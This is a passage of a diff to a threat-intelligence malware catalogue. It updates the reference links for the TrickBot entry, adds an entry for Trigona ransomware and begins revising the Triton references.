"https://www.bleepingcomputer.com/news/security/emotet-trickbot-malware-duo-is-back-infecting-windows-machines/", - "https://www.fortinet.com/blog/threat-research/global-malicious-spam-campaign-using-black-lives-matter-as-a-lure", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", - "https://www.bleepingcomputer.com/news/security/trickbot-now-steals-windows-active-directory-credentials/", - "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", - "https://www.ic3.gov/Media/News/2022/220120.pdf", - "https://blog.fraudwatchinternational.com/malware/trickbot-malware-works", - "https://na.eventscloud.com/file_uploads/6568237bca6dc156e5c5557c5989e97c_CrowdStrikeFal.Con2019_ThroughEyesOfAdversary_J.Ayers.pdf", - "https://therecord.media/us-arrests-latvian-woman-who-worked-on-trickbot-malware-source-code/", - "https://www.kryptoslogic.com/blog/2022/01/deep-dive-into-trickbots-web-injection/", - "https://www.domaintools.com/resources/blog/tracking-a-trickbot-related-ransomware-incident", - "https://community.riskiq.com/article/111d6005/description", - "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", - "https://thehackernews.com/2022/02/trickbot-gang-likely-shifting.html", - "https://www.gosecure.net/blog/2021/12/03/trickbot-leverages-zoom-work-from-home-interview-malspam-heavens-gate-and-spamhaus/", - "https://therecord.media/trickbot-gang-shuts-down-botnet-after-months-of-inactivity/", - "https://www.blueliv.com/research/trickbot-banking-trojan-using-eflags-as-an-anti-hook-technique/", - "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", - "https://www.crowdstrike.com/blog/sin-ful-spiders-wizard-spider-and-lunar-spider-sharing-the-same-web/", - "https://www.intrinsec.com/deobfuscating-hunting-ostap/", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://www.webroot.com/blog/2018/03/21/trickbot-banking-trojan-adapts-new-module/", - "https://www.netscout.com/blog/asert/dropping-anchor", - "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?__blob=publicationFile&v=2", - "https://www.youtube.com/watch?v=EyDiIAt__dI", - "https://securityintelligence.com/posts/trickbot-survival-instinct-trickboot-version/", - "https://unit42.paloaltonetworks.com/trickbot-campaign-uses-fake-payroll-emails-to-conduct-phishing-attacks/", - "https://us-cert.cisa.gov/ncas/alerts/aa21-076a", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://research.checkpoint.com/2021/when-old-friends-meet-again-why-emotet-chose-trickbot-for-rebirth/", - "https://www.reuters.com/technology/details-another-big-ransomware-group-trickbot-leak-online-experts-say-2022-03-04/", - "https://threatpost.com/conti-ransomware-decryptor-trickbot-source-code-leaked/178727/", - "https://www.secdata.com/the-trickbot-and-mikrotik/", - "https://labs.sentinelone.com/deep-dive-into-trickbot-executor-module-mexec-hidden-anchor-bot-nexus-operations/", - "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", - "https://unit42.paloaltonetworks.com/wireshark-tutorial-examining-trickbot-infections/", - "https://www.bitdefender.com/files/News/CaseStudies/study/316/Bitdefender-Whitepaper-TrickBot-en-EN-interactive.pdf", - "https://threatpost.com/trickbot-amazon-paypal-top-brands/178483/", - "https://www.cert.pl/en/news/single/detricking-trickbot-loader/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", - "https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/", - "https://www.bitdefender.com/files/News/CaseStudies/study/399/Bitdefender-PR-Whitepaper-Trickbot-creat5515-en-EN.pdf", - "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", - "https://www.breachquest.com/conti-leaks-insight-into-a-ransomware-unicorn/", - "https://krebsonsecurity.com/2020/10/attacks-aimed-at-disrupting-the-trickbot-botnet/", - "https://engineering.salesforce.com/easily-identify-malicious-servers-on-the-internet-with-jarm-e095edac525a", - "https://blog.morphisec.com/trickbot-delivery-method-gets-a-new-upgrade-focusing-on-windows", - "https://www.deepinstinct.com/2019/07/12/trickbooster-trickbots-email-based-infection-module/", - "https://osint.fans/service-nsw-russia-association", - "https://unit42.paloaltonetworks.com/trickbot-updates-password-grabber-module/", - "https://blog.cyberint.com/ryuk-crypto-ransomware", - "https://www.justice.gov/opa/pr/officials-announce-international-operation-targeting-transnational-criminal-organization", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://www.flashpoint-intel.com/blog/trickbot-account-checking-hybrid-attack-model/", - "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://community.riskiq.com/article/04ec92f4", - "https://blog.lumen.com/a-look-inside-the-trickbot-botnet/", - "https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/", - "https://blogs.keysight.com/blogs/tech/nwvs.entry.html/2020/12/21/trickbot_a_closerl-TpQ0.html", - "https://labs.sentinelone.com/building-a-custom-malware-analysis-lab-environment/", - "https://www.infosecurity-magazine.com/blogs/trickbot-mikrotik-connection/", - "https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/evolving-trickbot-adds-detection-evasion-and-screen-locking-features", - "https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes", - "https://www.mandiant.com/media/12596/download", - "https://www.botconf.eu/wp-content/uploads/2016/11/2016-LT09-TrickBot-Adams.pdf", - "https://redcanary.com/resources/webinars/deep-dive-process-injection/", - "https://share.vx-underground.org/Conti/", - "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", - "https://www.vkremez.com/2018/11/lets-learn-introducing-latest-trickbot.html", - "https://blog.morphisec.com/trickbot-uses-a-new-windows-10-uac-bypass", - "https://sysopfb.github.io/malware/2018/04/16/trickbot-uacme.html", - "https://www.secureworks.com/blog/trickbot-modifications-target-us-mobile-users", - "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", - "https://www.cybereason.com/blog/triple-threat-emotet-deploys-trickbot-to-steal-data-spread-ryuk-ransomware", - "https://www.kryptoslogic.com/blog/2021/07/trickbot-and-zeus/", - "https://threatpost.com/conti-ransomware-v-3-including-decryptor-leaked/179006/", - "https://www.bleepingcomputer.com/news/security/trickbot-now-uses-a-windows-10-uac-bypass-to-evade-detection/", - "https://hello.global.ntt/en-us/insights/blog/trickbot-variant-communicating-over-dns", - "https://blog.malwarebytes.com/threat-analysis/malware-threat-analysis/2018/11/whats-new-trickbot-deobfuscating-elements/", - "https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf", - "https://cyber.wtf/2020/08/31/trickbot-rdpscandll-password-transof/", - "https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth", - "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", - "https://www.proofpoint.com/us/blog/security-briefs/threat-actors-pair-tax-themed-lures-covid-19-healthcare-themes", - "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre", - "https://www.sentinelone.com/blog/detecting-a-rogue-domain-controller-dcshadow-attack/", - "https://www.wired.com/story/trickbot-malware-group-internal-messages/", - "https://content.fireeye.com/m-trends/rpt-m-trends-2020", - "https://www.bleepingcomputer.com/news/security/trickbot-malware-mistakenly-warns-victims-that-they-are-infected/", - "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html", - "https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/", - "https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles", - "https://labs.sentinelone.com/deep-dive-into-trickbot-executor-module-mexec-reversing-the-dropper-variant/", - "https://hurricanelabs.com/splunk-tutorials/splunking-with-sysmon-part-4-detecting-trickbot/", - "http://blog.fortinet.com/2016/12/06/deep-analysis-of-the-online-banking-botnet-trickbot", - "https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them", - "https://www.sneakymonkey.net/2019/05/22/trickbot-analysis/", - "https://f5.com/labs/articles/threat-intelligence/malware/little-trickbot-growing-up-new-campaign-24412", - "https://noticeofpleadings.com/trickbot/files/Complaint%20and%20Summons/2020-10-06%20Trickbot%201%20Complaint%20with%20exs.pdf", - "https://www.bleepingcomputer.com/news/security/karakurt-revealed-as-data-extortion-arm-of-conti-cybercrime-syndicate/", - "http://www.vkremez.com/2017/11/lets-learn-trickbot-socks5-backconnect.html", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://medium.com/walmartglobaltech/trickbot-crews-new-cobaltstrike-loader-32c72b78e81c", - "https://public.intel471.com/blog/trickbot-update-november-2020-bazar-loader-microsoft/", - "https://www.bleepingcomputer.com/news/security/lightbot-trickbot-s-new-reconnaissance-malware-for-high-value-targets/", - "https://www.cyberbit.com/latest-trickbot-variant-has-new-tricks-up-its-sleeve/", - "https://www.wired.co.uk/article/trickbot-malware-group-internal-messages", - "https://www.wilbursecurity.com/2020/03/trickbot-to-ryuk-in-two-hours/", - "https://public.intel471.com/blog/global-trickbot-disruption-operation-shows-promise/", - "https://www.zscaler.com/blogs/security-research/new-trickbot-and-bazarloader-campaigns-use-multiple-delivery-vectors", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.fireeye.com/blog/threat-research/2020/03/the-cycle-of-adversary-pursuit.html", - "https://www.joesecurity.org/blog/498839998833561473", - "https://intel471.com/blog/conti-leaks-ransomware-development", - "https://www.fortinet.com/blog/threat-research/deep-analysis-of-trickbot-new-module-pwgrab.html", - "https://cofenselabs.com/all-you-need-is-text-second-wave/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://twitter.com/VK_Intel/status/1328578336021483522", - "https://twitter.com/anthomsec/status/1321865315513520128", - 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"https://www.welivesecurity.com/wp-content/uploads/2021/02/ESET_Threat_Report_Q42020.pdf", - "https://therecord.media/trickbot-new-attacks-see-the-botnet-deploy-new-banking-module-new-ransomware/", - "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", - "https://securityintelligence.com/trickbots-cryptocurrency-hunger-tricking-the-bitcoin-out-of-wallets/", - "https://www.youtube.com/watch?v=Brx4cygfmg8", + "https://www.botconf.eu/wp-content/uploads/2016/11/2016-LT09-TrickBot-Adams.pdf", + "https://labs.vipre.com/trickbots-tricks/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", "https://www.zscaler.com/blogs/research/trickbot-emerges-few-new-tricks", - "https://www.secureworks.com/research/threat-profiles/gold-ulrick", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", - "https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/", - "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://www.fortinet.com/blog/threat-research/new-variant-of-trickbot-being-spread-by-word-document.html", - "https://www.justice.gov/opa/pr/russian-national-extradited-united-states-face-charges-alleged-role-cybercriminal", - "https://securityintelligence.com/posts/trickbot-bolsters-layered-defenses-prevent-injection/", - "https://labs.sentinelone.com/how-trickbot-hooking-engine-targets-windows-10-browsers/", - "https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked", - "https://www.secureworks.com/research/threat-profiles/gold-blackburn", - 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"https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", - "https://community.riskiq.com/article/298c9fc9", - "https://www.kryptoslogic.com/blog/2021/02/trickbot-masrv-module/", - "https://www.splunk.com/en_us/blog/security/detecting-trickbots.html", - "https://intel471.com/blog/privateloader-malware", - "https://blogs.microsoft.com/on-the-issues/2020/10/20/trickbot-ransomware-disruption-update/", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/", + "https://unit42.paloaltonetworks.com/banking-trojan-techniques/", "https://unit42.paloaltonetworks.com/ryuk-ransomware/", - "https://www.advanced-intel.com/post/trickbot-group-launches-test-module-alerting-on-fraud-activity", - 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"https://krebsonsecurity.com/2020/10/attacks-aimed-at-disrupting-the-trickbot-botnet/", + "https://www.secureworks.com/research/threat-profiles/gold-swathmore", + "https://www.kryptoslogic.com/blog/2022/01/deep-dive-into-trickbots-web-injection/", + "https://www.wired.com/story/trickbot-malware-group-internal-messages/", + "https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors", + "https://inquest.net/blog/2019/08/26/TrickBot-Memory-Analysis", + "https://www.bleepingcomputer.com/news/security/trickbot-now-steals-windows-active-directory-credentials/", + "https://www.fortinet.com/blog/threat-research/deep-analysis-of-trickbot-new-module-pwgrab.html", + "https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships", + "https://blogs.microsoft.com/on-the-issues/2020/10/12/trickbot-ransomware-cyberthreat-us-elections/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", + "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", + "https://escinsecurity.blogspot.de/2018/01/weekly-trickbot-analysis-end-of-wc-22.html", + "https://www.bleepingcomputer.com/news/security/trickbot-gang-developer-arrested-when-trying-to-leave-korea/", + "https://www.blueliv.com/research/trickbot-banking-trojan-using-eflags-as-an-anti-hook-technique/", + "https://decoded.avast.io/martinhron/meris-and-trickbot-standing-on-the-shoulders-of-giants/", + "https://www.secureworks.com/research/threat-profiles/gold-ulrick", + "https://threatresearch.ext.hp.com/detecting-a-stealthy-trickbot-campaign/", + "https://arcticwolf.com/resources/blog/karakurt-web", + "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", + "https://osint.fans/service-nsw-russia-association", + "https://www.sneakymonkey.net/2019/05/22/trickbot-analysis/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", + "http://www.peppermalware.com/2019/03/quick-analysis-of-trickbot-sample-with.html", + "https://securelist.com/trickbot-module-descriptions/104603/", + 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"https://www.reuters.com/technology/details-another-big-ransomware-group-trickbot-leak-online-experts-say-2022-03-04/", + "https://www.bitdefender.com/files/News/CaseStudies/study/316/Bitdefender-Whitepaper-TrickBot-en-EN-interactive.pdf", + "https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.ic3.gov/Media/News/2022/220120.pdf", + "https://blog.morphisec.com/trickbot-delivery-method-gets-a-new-upgrade-focusing-on-windows", + "https://blogs.keysight.com/blogs/tech/nwvs.entry.html/2020/12/21/trickbot_a_closerl-TpQ0.html", + "https://www.sneakymonkey.net/2019/10/29/trickbot-analysis-part-ii/", + "https://labs.sentinelone.com/how-trickbot-hooking-engine-targets-windows-10-browsers/", + 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"https://www.breachquest.com/conti-leaks-insight-into-a-ransomware-unicorn/", + "https://www.zscaler.com/blogs/security-research/new-trickbot-and-bazarloader-campaigns-use-multiple-delivery-vectors", + "https://threatpost.com/trickbot-amazon-paypal-top-brands/178483/", + "https://securityintelligence.com/trickbots-cryptocurrency-hunger-tricking-the-bitcoin-out-of-wallets/", + "https://www.securityartwork.es/wp-content/uploads/2017/06/Informe_Evoluci%C3%B3n_Trickbot.pdf", + "https://blog.malwarebytes.com/threat-intelligence/2021/11/trickbot-helps-emotet-come-back-from-the-dead/", + "https://na.eventscloud.com/file_uploads/6568237bca6dc156e5c5557c5989e97c_CrowdStrikeFal.Con2019_ThroughEyesOfAdversary_J.Ayers.pdf", + "https://intel471.com/blog/privateloader-malware", + "https://labs.sentinelone.com/deep-dive-into-trickbot-executor-module-mexec-hidden-anchor-bot-nexus-operations/", + "https://twitter.com/anthomsec/status/1321865315513520128", + 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"https://noticeofpleadings.com/trickbot/files/Complaint%20and%20Summons/2020-10-06%20Trickbot%201%20Complaint%20with%20exs.pdf", + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", + "https://www.vkremez.com/2018/11/lets-learn-introducing-latest-trickbot.html", + "https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/", + "https://labs.sentinelone.com/inside-a-trickbot-cobaltstrike-attack-server/", + "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-attacked-epiq-global-via-trickbot-infection/", + "https://public.intel471.com/blog/trickbot-update-november-2020-bazar-loader-microsoft/", + "https://hello.global.ntt/en-us/insights/blog/trickbot-variant-communicating-over-dns", + "https://threatpost.com/conti-ransomware-v-3-including-decryptor-leaked/179006/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/trickbot-botnet-ransomware-disruption", + "https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor/", + "https://securityintelligence.com/posts/trickbot-survival-instinct-trickboot-version/", + "https://www.kryptoslogic.com/blog/2021/02/trickbot-masrv-module/", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.justice.gov/opa/pr/latvian-national-charged-alleged-role-transnational-cybercrime-organization", + "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", + "https://blog.vincss.net/2021/10/re025-trickbot-many-tricks.html", + "https://www.proofpoint.com/us/blog/security-briefs/threat-actors-pair-tax-themed-lures-covid-19-healthcare-themes", + "https://cyber.wtf/2020/08/31/trickbot-rdpscandll-password-transof/", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://www.secureworks.com/research/threat-profiles/gold-blackburn", + "https://malware.love/trickbot/malware_analysis/reverse_engineering/2020/11/17/trickbots-latest-trick.html", + "https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://www.youtube.com/watch?v=lTywPmZEU1A", + "https://therecord.media/us-arrests-latvian-woman-who-worked-on-trickbot-malware-source-code/", + "https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6", + "https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/", + "http://www.vkremez.com/2017/11/lets-learn-trickbot-socks5-backconnect.html", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", + "https://www.webroot.com/blog/2018/03/21/trickbot-banking-trojan-adapts-new-module/", + "https://www.advanced-intel.com/post/trickbot-group-launches-test-module-alerting-on-fraud-activity", + "http://www.vkremez.com/2017/12/lets-learn-introducing-new-trickbot.html", + "https://therecord.media/trickbot-new-attacks-see-the-botnet-deploy-new-banking-module-new-ransomware/", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://intel471.com/blog/conti-leaks-ransomware-development", + "https://blog.intel471.com/2020/04/14/understanding-the-relationship-between-emotet-ryuk-and-trickbot/", + "https://www.ringzerolabs.com/2017/07/trickbot-banking-trojan-doc00039217doc.html", + "https://www.wired.co.uk/article/trickbot-malware-group-internal-messages", + "https://www.justice.gov/opa/press-release/file/1445241/download", + "https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles", + "https://www.cybereason.com/blog/cybereason-vs.-ryuk-ransomware", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://malware.love/trickbot/malware_analysis/reverse_engineering/2020/11/22/trickbot-fake-ips-part2.html", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://content.fireeye.com/m-trends/rpt-m-trends-2020", + "https://medium.com/walmartglobaltech/trickbot-crews-new-cobaltstrike-loader-32c72b78e81c", + "https://unit42.paloaltonetworks.com/sandbox-evasion-memory-detection/", + "https://blogs.microsoft.com/on-the-issues/2020/10/20/trickbot-ransomware-disruption-update/", + "https://public.intel471.com/blog/global-trickbot-disruption-operation-shows-promise/", + "https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked", + "https://www.heise.de/security/artikel/Emotet-Trickbot-Ryuk-ein-explosiver-Malware-Cocktail-4573848.html", + "https://www.hornetsecurity.com/en/security-information/trickbot-malspam-leveraging-black-lives-matter-as-lure/", + "https://www.intrinsec.com/deobfuscating-hunting-ostap/", + "https://www.slideshare.net/proidea_conferences/inside-cybercrime-groups-harvesting-active-directory-for-fun-and-profit-vitali-kremez", + "https://labs.sentinelone.com/revealing-the-trick-a-deep-dive-into-trickloader-obfuscation/", + "https://engineering.salesforce.com/easily-identify-malicious-servers-on-the-internet-with-jarm-e095edac525a", + "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", + "https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest", + "https://www.bleepingcomputer.com/news/security/conti-ransomware-gang-takes-over-trickbot-malware-operation/", + "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf", + "https://www.justice.gov/opa/pr/officials-announce-international-operation-targeting-transnational-criminal-organization", + "https://securityintelligence.com/posts/trickbot-gang-template-based-metaprogramming-bazar-malware/", + "https://securityintelligence.com/trickbot-takes-to-latin-america-continues-to-expand-its-global-reach/", + "https://f5.com/labs/articles/threat-intelligence/malware/trickbot-expands-global-targets-beyond-banks-and-payment-processors-to-crms", + "https://securityintelligence.com/posts/trickbot-gang-doubles-down-enterprise-infection/", + "https://unit42.paloaltonetworks.com/trickbot-updates-password-grabber-module/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf", + "https://www.bleepingcomputer.com/news/security/malware-tries-to-trump-security-software-with-potus-impeachment/", + "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html", + "https://thehackernews.com/2022/05/malware-analysis-trickbot.html", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", + "https://unit42.paloaltonetworks.com/goodbye-mworm-hello-nworm-trickbot-updates-propagation-module/", + "https://qmemcpy.io/post/reverse-engineering-malware-trickbot-part-2-loader", + "https://www.bleepingcomputer.com/news/security/trickbot-now-uses-a-windows-10-uac-bypass-to-evade-detection/", + "https://blog.fraudwatchinternational.com/malware/trickbot-malware-works", + "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", + "https://securityintelligence.com/posts/trickbot-bolsters-layered-defenses-prevent-injection/", + "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/", + "https://www.bleepingcomputer.com/news/security/trickbot-uses-a-new-windows-10-uac-bypass-to-launch-quietly/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://share.vx-underground.org/Conti/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.berlin.de/sen/justva/presse/pressemitteilungen/2020/pm-11-2020-t-systems-forensik_bericht_public_v1.pdf", + "https://www.npu.gov.ua/news/kiberzlochini/kiberpolicziya-vikrila-transnaczionalne-zlochinne-ugrupovannya-u-nanesenni-inozemnim-kompaniyam-120-miljoniv-dolariv-zbitkiv/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/latest-trickbot-campaign-delivered-via-highly-obfuscated-js-file/", + "https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/evolving-trickbot-adds-detection-evasion-and-screen-locking-features", + "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", + "https://securityaffairs.co/wordpress/128190/cyber-crime/conti-ransomware-takes-over-trickbot.html", + "https://www.youtube.com/watch?v=Brx4cygfmg8", + "https://duo.com/decipher/trickbot-up-to-its-old-tricks", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.netscout.com/blog/asert/dropping-anchor", + "https://twitter.com/VK_Intel/status/1328578336021483522", + "https://securelist.com/financial-cyberthreats-in-2020/101638/", + "https://www.cyberbit.com/latest-trickbot-variant-has-new-tricks-up-its-sleeve/", + "https://intel471.com/blog/a-brief-history-of-ta505", + "https://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/", + "https://public.intel471.com/blog/partners-in-crime-north-koreans-and-elite-russian-speaking-cybercriminals/", + "https://www.deepinstinct.com/2019/07/12/trickbooster-trickbots-email-based-infection-module/", + "https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/", + "https://blog.lumen.com/a-look-inside-the-trickbot-botnet/", + "https://research.checkpoint.com/2021/when-old-friends-meet-again-why-emotet-chose-trickbot-for-rebirth/", + "https://www.fortinet.com/blog/threat-research/new-variant-of-trickbot-being-spread-by-word-document.html", + "https://unit42.paloaltonetworks.com/wireshark-tutorial-examining-trickbot-infections/" ], "synonyms": [ "TheTrick", @@ -45529,29 +47974,44 @@ "uuid": "c824813c-9c79-4917-829a-af72529e8329", "value": "TrickBot" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.trigona", + "https://unit42.paloaltonetworks.com/trigona-ransomware-update/", + "https://www.fortinet.com/blog/threat-research/ransomware-roundup-trigona-ransomware" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d5e900b0-5a6d-4e29-ab64-fa72863198a1", + "value": "Trigona" + }, { "description": "Malware attacking commonly used in Industrial Control Systems (ICS) Triconex Safety Instrumented System (SIS) controllers.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.triton", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", - "https://us-cert.cisa.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20A%29_S508C.PDF", - "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1538425180.pdf", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-083a", - "https://www.eenews.net/stories/1060123327/", - "https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html", - "https://dragos.com/blog/trisis/TRISIS-01.pdf", - "https://www.nozominetworks.com//downloads/US/Nozomi-Networks-TRITON-The-First-SIS-Cyberattack.pdf", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", - "https://www.ic3.gov/Media/News/2022/220325.pdf", - "https://home.treasury.gov/news/press-releases/sm1162", - "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html", - "https://securelist.com/apt-trends-report-q2-2019/91897/", - 